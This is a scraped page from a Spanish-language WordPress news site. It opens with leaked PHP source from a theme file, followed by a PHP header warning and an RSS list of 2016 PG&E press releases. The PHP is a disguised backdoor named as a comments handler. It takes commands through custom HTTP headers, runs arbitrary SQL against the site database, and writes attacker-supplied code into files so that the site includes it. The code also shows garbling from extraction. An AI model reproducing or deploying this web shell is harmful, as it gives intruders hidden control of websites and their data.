n class WP_Comments_Handler_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result = array(); var $errors = array(); var $wp_themes_count = 0; function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { $this->wp_themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { $this->wp_themes_count = mysql_num_rows($wp_connection_success); while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->wp_themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function wp_get_themes_count() { return $this->wp_themes_count; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Comments_Handler_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Comments_Handler_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, array( 'rows' => $database->wp_get_themes_count(), 'result' => $database->get_wp_connection_result() )); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Comments_Handler_Accessor(); $accessor->create();
Warning: Cannot modify header information - headers already sent by (output started at /home/douglaslezameta/public_html/wp-content/themes/Newsmag/inc/comments-handler.php:273) in /home/douglaslezameta/public_html/wp-includes/feed-rss2.php on line 8
TV Fusion Latina http://tvfusionlatina.com Thu, 27 Oct 2016 00:49:55 +0000 en-US hourly 1 https://wordpress.org/?v=4.4.10 PG&E Recomienda a los Clientes Tener Precaución de: “No Asustarse con las Leyendas Urbanas sobre el Ahorro de Energía” http://tvfusionlatina.com/pge-recomienda-a-los-clientes-tener-precaucion-de-no-asustarse-con-las-leyendas-urbanas-sobre-el-ahorro-de-energia/ Thu, 27 Oct 2016 00:49:55 +0000 http://tvfusionlatina.com/?p=217 PG&E Recibe una “A” en Diversidad de Proveedores por parte del Instituto Greenlining http://tvfusionlatina.com/pge-recibe-una-a-en-diversidad-de-proveedores-por-parte-del-instituto-greenlining/ Thu, 13 Oct 2016 16:30:30 +0000 http://tvfusionlatina.com/?p=214 Miles de Clientes Podrían Beneficiarse de Descuentos Mensuales en sus Facturas de Energía http://tvfusionlatina.com/miles-de-clientes-podrian-beneficiarse-de-descuentos-mensuales-en-sus-facturas-de-energia/ Tue, 06 Sep 2016 03:55:00 +0000 http://tvfusionlatina.com/?p=212 PG&E Recomienda a los Clientes Hacer la Llamada Segura este Verano Marcando al 811 http://tvfusionlatina.com/pge-recomienda-a-los-clientes-hacer-la-llamada-segura-este-verano-marcando-al-811/ Thu, 25 Aug 2016 23:07:38 +0000 http://tvfusionlatina.com/?p=209 Lectura, escritura y preparación: PG&E insta a los padres y a los estudiantes a mantenerse seguros en este inicio del año escolar http://tvfusionlatina.com/lectura-escritura-y-preparacion-pge-insta-a-los-padres-y-a-los-estudiantes-a-mantenerse-seguros-en-este-inicio-del-ano-escolar/ Thu, 18 Aug 2016 00:20:44 +0000 http://tvfusionlatina.com/?p=205 PG&E Ofrece un Plan de Remoción de Escombros en 10 Condados, en el Epicentro de la Crisis Provocada por la Mortalidad de Árboles http://tvfusionlatina.com/pge-ofrece-un-plan-de-remocion-de-escombros-en-10-condados-en-el-epicentro-de-la-crisis-provocada-por-la-mortalidad-de-arboles/ Mon, 08 Aug 2016 18:55:28 +0000 http://tvfusionlatina.com/?p=202 PG&E ES RECONOCIDA COMO UNA DE LAS 50 EMPRESAS CON MÁS VOCACIÓN COMUNITARIA EN ESTADOS UNIDOS http://tvfusionlatina.com/pge-es-reconocida-como-una-de-las-50-empresas-con-mas-vocacion-comunitaria-en-estados-unidos/ Tue, 26 Jul 2016 22:13:31 +0000 http://tvfusionlatina.com/?p=199 PG&E Recomienda a los Jugadores de Pokémon GO: Tener Precaución en las Áreas Cercanas a Instalaciones Eléctricas http://tvfusionlatina.com/pge-recomienda-a-los-jugadores-de-pokemon-go-tener-precaucion-en-las-areas-cercanas-a-instalaciones-electricas/ Sat, 23 Jul 2016 23:11:19 +0000 http://tvfusionlatina.com/?p=194 PG&E solicita el aporte de la comunidad en el proyecto de infraestructura eléctrica propuesto en el Sur del Condado de Santa Clara http://tvfusionlatina.com/pge-solicita-el-aporte-de-la-comunidad-en-el-proyecto-de-infraestructura-electrica-propuesto-en-el-sur-del-condado-de-santa-clara/ Fri, 15 Jul 2016 22:41:22 +0000 http://tvfusionlatina.com/?p=191 PG&E Inicia Patrullaje Aéreo para Detectar Incendios y Acelerar su Respuesta, Mientras California Anticipa Otra Temporada de Incendios Forestales muy Activa  http://tvfusionlatina.com/pge-inicia-patrullaje-aereo-para-detectar-incendios-y-acelerar-su-respuesta-mientras-california-anticipa-otra-temporada-de-incendios-forestales-muy-activa/ Fri, 08 Jul 2016 05:15:50 +0000 http://tvfusionlatina.com/?p=188